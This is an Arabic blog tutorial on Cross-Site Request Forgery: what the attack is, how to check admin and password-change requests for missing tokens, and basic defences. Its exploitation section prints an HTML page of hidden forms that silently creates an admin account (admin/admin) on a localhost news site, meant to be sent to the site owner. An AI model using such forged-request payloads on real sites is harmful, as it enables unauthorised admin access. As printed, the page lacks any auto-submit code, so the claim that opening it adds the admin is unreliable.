شرح ثغرة CSRF

 السلام عليكم و رحمة الله و بركاته









تعرف على ثغرة csrf
-----------------------------------------

سنتعرف فى هذا المقال على ثغرة csrf

وكيفية اكتشافها و استغلالها

ما هى ثغرة CSRF

هي اختصار ل Cross-Site Request Forgery

وهى معروفة بعدة اسماء اخرى مثل:

XSRF

Sea Surf

Session Riding 
 
 Hostile Linking

One-Click attack

ويمكن ان تصنف انها من عائلة ثغرات xss

تقوم هذه الثغرة بإجبار المستخدم على فعل وظيفة غير مرغوب فيها مثلا كإضافة ادمن جديد

او تغيير الباسورد بدون علم المستخدم.


خطورة الثغرة :
-------------------------------------
هى ثغرة خطيرة بالتأكيد لأنها قد تؤدى الى اختراق الموقع بالكامل
متطلبات الثغرة :
----------------------------------------
تعتمد بشكل او بأخر على الهندسة الإجتماعية لأنها تتطلب ارسال الرابط الى الضحية

الرابط عبارة عن صفحة ويب بها اكواد خاصة من الموقع المصاب تقوم بإضافة ادمن او تغيير وظيفة فى الموقع

او في عمليات الشراء والبيع أوتغيير الإيميل

اي أنها لها استخدمات واسعة وخطورتها كبيرة .


اكتشاف الثغرة:
-----------------------------------

اسهل طريقة لفحص الموقع من هذا النوع من الثغرات

هو فحص كل الطلبات المهمة مثل وظائف اضافة الأدمن وتغيير الباسورد

تبحث فيها عن tokens

وهل هي موجودة ام لا ؟ ويمكن توقعها او لا؟

اذا كانت غير موجودة او يمكن توقعها فانتقل الى عملية الإستغلال


مثال:
-------------

موقع اخباري يقوم بإضافة اعضاء من الرابط التالى

http://localhost/news/admin.php?acti...nts&create=new

افحص السورس كود للصفحة و

(تتغير من موقع الى اخر)استخرج كل الفورم

هذا هو الإستغلال

<html>
<head>
<title> CSRF </title>
</head>
<form method="POST" name="form1" action="http://localhost/news/admin.php?action=options&mod=accounts&create=new">
<input type="hidden" name="accountname" value="admin"/>
<input type="hidden" name="accountemail" value="admin@local.com"/>
<input type="hidden" name="accountpassword1" value="admin"/>
<input type="hidden" name="accountpassword2" value="admin"/>
<input type="hidden" name="accountaccesslevel" value="1"/>
<input type="hidden" name="S1" value="Save"/>
</form>
<form method="GET" name="form2" action="http://localhost/news/js/main.php">
<input type="hidden" name="name" value="value"/>
</form>

</body>
</html>



نقوم بدمج هذا الكود فى صفحة ويب ونرسلها لصاحب الموقع

عندما يفتحها

نقوم الصفحة بإضافة ادمن جديد

user : admin

pass : admin

 
الحماية من ثغرات  csrf
---------------------------------------

على جانب المستخدم :

لا تفتح اى لينك غير موثوق فيه

تأكد جيدا من اسم الموقع

على جانب الموقع:

لابد من استخدام التوكن لحماية الموقع

هذا كان شرح مبسط للثغرة ..

انتها ..


مع تحيات اعضاء مدونة محترفي الحماية الاختراق
شكرا لتعليقك